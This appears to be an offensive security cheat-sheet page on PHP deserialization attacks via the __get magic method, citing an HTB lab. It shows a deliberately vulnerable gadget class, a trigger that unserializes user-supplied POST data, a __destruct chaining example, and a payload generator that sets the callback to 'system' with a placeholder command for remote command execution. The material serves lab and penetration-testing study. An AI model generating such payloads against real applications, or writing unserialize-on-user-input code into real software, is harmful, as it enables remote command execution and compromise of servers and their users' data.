Skip to content
PHP
__get gadget

__get gadget

PHP serialized-object __get gadget

__get($property_name) is a PHP magic method. PHP calls it automatically when code tries to read an object property that does not exist or cannot be accessed from the current scope.

$property_name is a string containing the requested property name. If __get() returns a result, PHP uses that result as the value of the property read.

__get() runs after application code or another gadget reads a missing or inaccessible property from the reconstructed object.

Vulnerable gadget

class TargetClass
{
    public $callback;
    public $argument;

    public function __get($property_name)
    {
        $result = call_user_func($this->callback, $this->argument);
        return $result;
    }
}

call_user_func() accepts a callable as its first argument, passes the remaining arguments to it, and returns the callable’s result. A serialized TargetClass object can replace callback and argument. Setting them to system and an operating-system command turns the property read into command execution.

Trigger

$serialized_data = base64_decode($_POST["<PARAMETER_NAME>"]);
$object = unserialize($serialized_data);
$result = $object->missing_property;
print($result);

missing_property is absent from TargetClass, so reading it calls __get("missing_property"). The controlled callback and argument properties supply the function and command in this example.

Another gadget can perform the same trigger:

public function __destruct()
{
    echo $this->controlled_object->missing_property;
}

The controlled object must contain an instance of the class defining __get().

Finding a gadget

Search the application source for __get() methods:

grep -Rni "function __get" .

For each result, identify the properties read by the method and the operation performed with them. A usable gadget requires a reachable missing-property read and control over the properties passed to a useful sink.

PHP payload generator

The generator needs the target class name and the properties stored in the serialized object. The target application supplies the real __get() method when it reconstructs the object.

<?php
class TargetClass
{
    public $callback;
    public $argument;
}

$payload_object = new TargetClass();
$payload_object->callback = "system";
$payload_object->argument = "<COMMAND>";

$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>

The class name, property names, and property visibility must match the target source exactly.

Find by: php deserialization, php object injection, magic method, __get, missing property, inaccessible property, property read, call_user_func, callback gadget, serialized payload generator · Source: HTB/POPRestaurant